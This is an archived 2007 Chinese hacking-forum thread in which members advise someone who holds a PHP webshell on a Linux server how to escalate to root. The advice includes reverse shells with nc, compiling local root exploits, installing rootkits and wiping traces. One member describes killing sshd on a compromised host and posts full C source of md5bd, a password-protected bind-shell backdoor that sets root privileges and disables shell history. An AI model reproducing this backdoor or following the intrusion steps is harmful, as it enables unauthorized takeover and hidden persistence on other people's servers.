邪恶八进制信息安全团队技术讨论组's Archiver

hackest 2007-1-31 11:11

[讨论]Linux系统提权相关!

拿到一PHP的webshell:
服务器操作系统为Linux
对目标服务器进行了一次全面的端口扫描
就是从1扫到65535 ,发现开的端口情况如下:
21、22、80、1000(此服务为glFTPd2.00)、3000
发现SSH连接端口22无法连上……
请教此服务器如何提权,如何控制……

pub!1c 2007-1-31 12:48

22 不就是  SSH端口嘛?  
再NC个shell回来,  找些Exp编译, 提权之.

hack520 2007-1-31 13:06

[s:75] 用0DAY日之~ [s:39]  [s:39]

hackest 2007-1-31 16:46

反弹shell?
Linux实在是不熟…… [s:73]

86669833 2007-1-31 20:59

我DB_OWNER权限,我用差异备份,备份上去句一话木马,
那可以连接上啊,
但是就是写入不了, 我也找了放图片的目录,可以上传,但是又运行了脚本文件,
问,有什么好的方法啊

hackest 2007-2-2 00:18

22端口用putty无法连接上……[s:57]

独孤加倍 2007-2-2 10:40

他开了22端口你连不上ssh?难道是作了限制?不过按你目前的情况只有22一个突破口。比较赞同2楼的方法可以用下。

john-tsu 2007-2-2 19:46

看看21端口用的什么系统,用个有针对性地exploit,提权嘿 [s:39]

hackest 2007-2-2 21:01

8楼不是开玩笑吧
Linux下装Serv-U?
貌似还没开发出支持Linux的Serv-U吧……

huiqiangfan 2007-2-3 12:01

装Linux自带的功能包就行了

赵子岩 2007-2-3 17:44

*** 作者被禁止或删除 内容自动屏蔽 ***

赵子岩 2007-2-3 19:55

*** 作者被禁止或删除 内容自动屏蔽 ***

hackest 2007-2-3 21:50

是22无法连接上…… [s:35]

hackest 2007-2-3 23:00

那么说来得不到Linux服务器的控制权么?真郁闷……

赵子岩 2007-2-4 20:33

*** 作者被禁止或删除 内容自动屏蔽 ***

hackest 2007-2-5 14:59

就是像控制windows下的3389一样呀
除了VNC和SSH不知道Linux下还有什么远程控制的…… [s:73]

mickey 2007-2-6 10:27

用c99反向连到本地.
uname -a 看版本
上milw0rm找相应的本地提取的exploit.编译.运行.得到root权限
上传,安装rootkit.擦pp.走人.

scloo 2007-2-7 12:06

*** 作者被禁止或删除 内容自动屏蔽 ***

willy123 2007-2-8 16:09

ssh后门,bindshell后门,很多的~~~ [s:35]

5655817 2007-2-10 00:49

l可否给发个好用的Rootkit

linuxman 2007-2-10 23:13

大哥们.你们说的好容易呢.......但真正能有几个做到的??
无语!

cfccn 2007-2-11 02:54

[quote][b]引用第18楼[i]hackest[/i]于[i]2007-02-05 14:59[/i]发表的[/b]:
就是像控制windows下的3389一样呀
除了VNC和SSH不知道Linux下还有什么远程控制的…… [s:73][/quote]
VZPP-VPS

hackest 2007-2-14 22:07

c99反向连接到本地?
能不能说详细点……milw0rm这个还真是个好东西……嘿嘿 [s:39]

upkiller 2007-2-25 20:30

反弹Shell回来,看内核版本找相应的exploit提权,不行的话留着shell,等。。。然后第一时间跑上去提权之

hackest 2007-2-28 17:27

问题是怎么反弹…… [s:57]

hackloves 2007-3-1 13:34

有一个md5shell.c,上传到一可写目录。gcc -o shell /home/md5shell.c 就会在/home下生成shell文件,运行他/home/shell,nc连接1025端口,输入默认密码secret便得到shell。

hackest 2007-3-20 06:04

问题是根本执行不了命令啊!
连ls命令都执行不了的!
[s:275]

freeflag 2007-3-20 19:19

我曾经在一个tomcat做的jsp服务的Linux系统中弄到了一个root权相的webshell.
但是iptable限制了规则.我只能连接服务器的22断口(ssh)和80.
服务器上有gcc

于是我这么做:
1- 先kill -9 ssh的进程.;
2- 修改md5shell(一个*Nix后门)的连接断口修改为22;
3- 将修改后的md5shell源代码上传到服务器上编译(gcc md5shell.c -o shell);
4- 在webshell中执行:  ./shell
5- 用NC连接服务器   NC 肉鸡IP 22
6- 输入密码,后没有回显,直接用 ls命令察看,恩成功!

freeflag 2007-3-20 19:20

md5shell source



/*
    md5bd.c - backdoor/shell server with md5 based authentication
   (c) 2000 by Mixter <[email]mixter@newyorkoffice.com[/email]> [url]http://1337.tsx.org[/url]

  This is a small server program that can be put on an untrusted host,
  without the danger of the hard-coded password being retrieved. Another
  big advantage of using md5 is that your password can be effectively as
  long as you want... I&#39;m using md5sum since every system should have it,
  and since it&#39;s a stupid program and not worth of putting in md5 functions.

  To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
  Usage: ./md5bd, then ./nc host port, then enter your password
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025 //记得将断口号修改为22

/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"  //你可以用这个默认的密码.

/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"

char md[36];

char *
mdpass(char *plain)
{
  FILE *p;
  char fmt[1024];

  snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
  p = popen(fmt, "r");
  memset(md, 0, 36);
  fread(md, 32, 1, p);
  fclose(p);
  return md;
}

int
main(int a, char **b)
{
  int c, d, e = sizeof(struct sockaddr_in), f;
  char p[1000];
  struct sockaddr_in l, r;

  signal(SIGCHLD, SIG_IGN);
  signal(SIGHUP, SIG_IGN);
  signal(SIGTERM, SIG_IGN);
  signal(SIGINT, SIG_IGN);
  if (fork())
    exit(0);
  l.sin_family = AF_INET;
  l.sin_port = htons(P0RT);
  l.sin_addr.s_addr = INADDR_ANY;
  bzero(&(l.sin_zero), 8);
  c = socket(AF_INET, SOCK_STREAM, 0);
  bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

  listen(c, 3);
  while ((d = accept(c, (struct sockaddr *) &r, &e)))
  {
    if (!fork())
    {
      recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
      for (f = 0; f < strlen(p); f++)
        switch (p[f])
        {
        case &#39;|&#39;:
        case &#39;;&#39;:
        case &#39;&&#39;:
        case &#39;>&#39;:
        case &#39;`&#39;:
        case &#39;\r&#39;:
        case &#39;\n&#39;:
          p[f] = &#39;\0&#39;;
          break;
        }
#endif /* REMOTELY_EXPLOITABLE :P */
      if (strncmp(mdpass(p), MDPASS,32) != 0)
      {
        send(d, "\377\373\001", 4, 0);
        close(d);
        exit(1);
      }
      printf ("hi.\n");
      close(0);
      close(1);
      close(2);
      dup2(d, 0);
      dup2(d, 1);
      dup2(d, 2);
      setreuid(0, 0);
      setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
      unsetenv("HISTFILE");
      execl("/bin/sh", "sh", (char *) 0);
      close(d);
      exit(0);
    }
  }
  return 0;
}

freeflag 2007-3-20 19:22

[quote]引用第26楼hackest于2007-03-20 06:04发表的 :
问题是根本执行不了命令啊!
连ls命令都执行不了的!
[s:275][/quote]


那你还有什么搞头?

freeflag 2007-3-20 19:30

[quote]引用第5楼hackest于2007-02-02 00:18发表的 :
22端口用putty无法连接上……[s:57][/quote]


在Win中 telnet IP 22
有回显(比如显示出来登陆信息,但是在win中直接连ssh是不行的)既说明ssh可以连接.

你看你能连上那个断口就kill了那个进程,在md5shell中进行相应的修改即可.(参照我上面发的帖子中的方法)

freeflag 2007-3-20 19:35

刀跟着刀哦!

我发个新帖都没有权限制!

大家能不能说一说有没有什么好的Windows2003中使用的后门呀?一定要反向连接,或者可以复用80断口.

freeflag 2007-3-20 19:38

[quote]引用第19楼5655817于2007-02-10 00:49发表的 :
l可否给发个好用的Rootkit[/quote]


就是,谁有好的rootkit 呀,我在我的linux肉鸡中安装rootkit总是失败.

hackest 2007-3-21 02:09

看来那服务器没搞了,连一些很基本的命令的都执行不了的,呵呵
楼上的厉害啊,连发六帖!
[s:263] [s:281]

linuxman 2007-3-21 17:01

我说楼上freeflag 大哥...你那个tomcat在linux上默认启动是root权限.你想搞什么都行..人家都说了是在php webshell上提权....如果webshell连最基本的命令都不能执行的话.找一个可以弹回来的php试试.就算有权限也很低...想提权?呵呵...先问问gcc吧~~~

renyf163 2007-3-21 17:38

朋友你真是一个好人啊 。。谢谢了

唐不狐 2007-3-22 08:54

楼上几位说了 c99 可以反弹回一个shell
nstview 也可以。
本地nc监听,tools那里直接反弹就可以得到一个反弹的终端。
至于提权,可以查看linux的内核版本,去找一找相关的本地提权exp,上去编译然后试试。
网上提供的exp很多是不能直接编译成功的,需要作些修改。

linuxman 2007-3-22 11:08

都说了要先问gcc了.............webshell里面能有几个能有gcc的....

Helvin 2007-3-22 11:28

[quote]引用第26楼hackest于2007-03-20 06:04发表的 :
问题是根本执行不了命令啊!
连ls命令都执行不了的!
[s:275][/quote]
用/bin/ls 看看

如果是安全模式或者禁用了函数,那就需要用一些PHP safemode绕过得漏洞了,网上很多,可以找一下

darkmage 2007-3-22 13:03

如果可以上传php文件的话,可以试一些php本地溢出漏洞。

[url]http://www.php-security.org/[/url] 公布了不少php内核/php函数未补的漏洞,可以找台相同版本的Linux调试,应该可以获取一个真正的shell.

freeflag 2007-3-22 13:23

[quote]引用第34楼linuxman于2007-03-21 17:01发表的 :
我说楼上freeflag 大哥...你那个tomcat在linux上默认启动是root权限.你想搞什么都行..人家都说了是在php webshell上提权....如果webshell连最基本的命令都不能执行的话.找一个可以弹回来的php试试.就算有权限也很低...想提权?呵呵...先问问gcc吧~~~[/quote]

错!!!
在webshell中,有好多的命令执行都会失败!IE中 uaeradd都执行不了,firefox中可以使用 useradd ,但是不能修改新用户密码(linux规定,useradd新建的用户必须用passwd指定密码,否则用户无法使用)
我在webshell中用命令关闭iptable 失败.反弹shell,见鬼去吧,iptable设置的超级变态!那个服务器只支持jsp.

在这种情况下,我想出了以上的办法.

freeflag 2007-3-22 13:24

[quote]引用第38楼Helvin于2007-03-22 11:28发表的 :

用/bin/ls 看看

如果是安全模式或者禁用了函数,那就需要用一些PHP safemode绕过得漏洞了,网上很多,可以找一下[/quote]

whereis gcc

//查找gcc


不过你的 webshell连密令都执行不了的话,那就没搞头了.

freeflag 2007-3-23 13:05

以后请以"同志"称呼我/

randy 2007-3-24 23:28

[s:265] 把WEBSHELL用短信发给我 我帮你提

freeflag 2007-3-25 12:48

有没有那个兄弟会写自动向FTP中传送文件的.bat

hackest 2007-3-26 00:12

[quote]引用第43楼randy于2007-03-24 23:28发表的 :
[s:265] 把WEBSHELL用短信发给我 我帮你提[/quote]
难道这位兄弟有传说中的0day?![s:269]

poc 2007-3-26 22:34

我有一个jsp的shell用的linux 系统,可惜偶那jsp的马马不好使
只支持jsp
搜索下google和论坛都米找到好的!

freeflag 2007-4-1 15:20

#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdlib.h>

int
main(int argc,char *argv[])
{  int fd,a,b;
  if(argc!=2)
  {  printf("Error-1\n");
   exit(1);
  }
  printf("Input:");
  scanf("%d",a);
  if((fd=open(argv[1],O_RDWR|O_CREAT))==-1)
  {  printf("Error-2\n");
   exit(2);
  }
  b=write(fd,"123456",a);
  if(b==-1)
  {  printf("Error-3\n");
   exit(3);
  }
  else
  {  printf("%d\n",b);
  }
  if((close(fd))==-1)
  {  printf("Error-4\n");
   exit(4);
  }
  if((execlp("more","more",argv[1],NULL))<0)
  {  printf("Error-5.\n");
   exit(5);
  }
  return 0;
}


//编写了一个小程序,编译可以通过,但是运行的时候出现"Error-3"

freeflag 2007-4-1 15:20

对了,我怎么在哪里发个帖子都说我的权限不够呢?

freeflag 2007-4-1 15:28

还有一个问题
怎样在 Linux 中实现 getche()函数的功能?

页: [1] 2
© 1999-2008 EvilOctal Security Team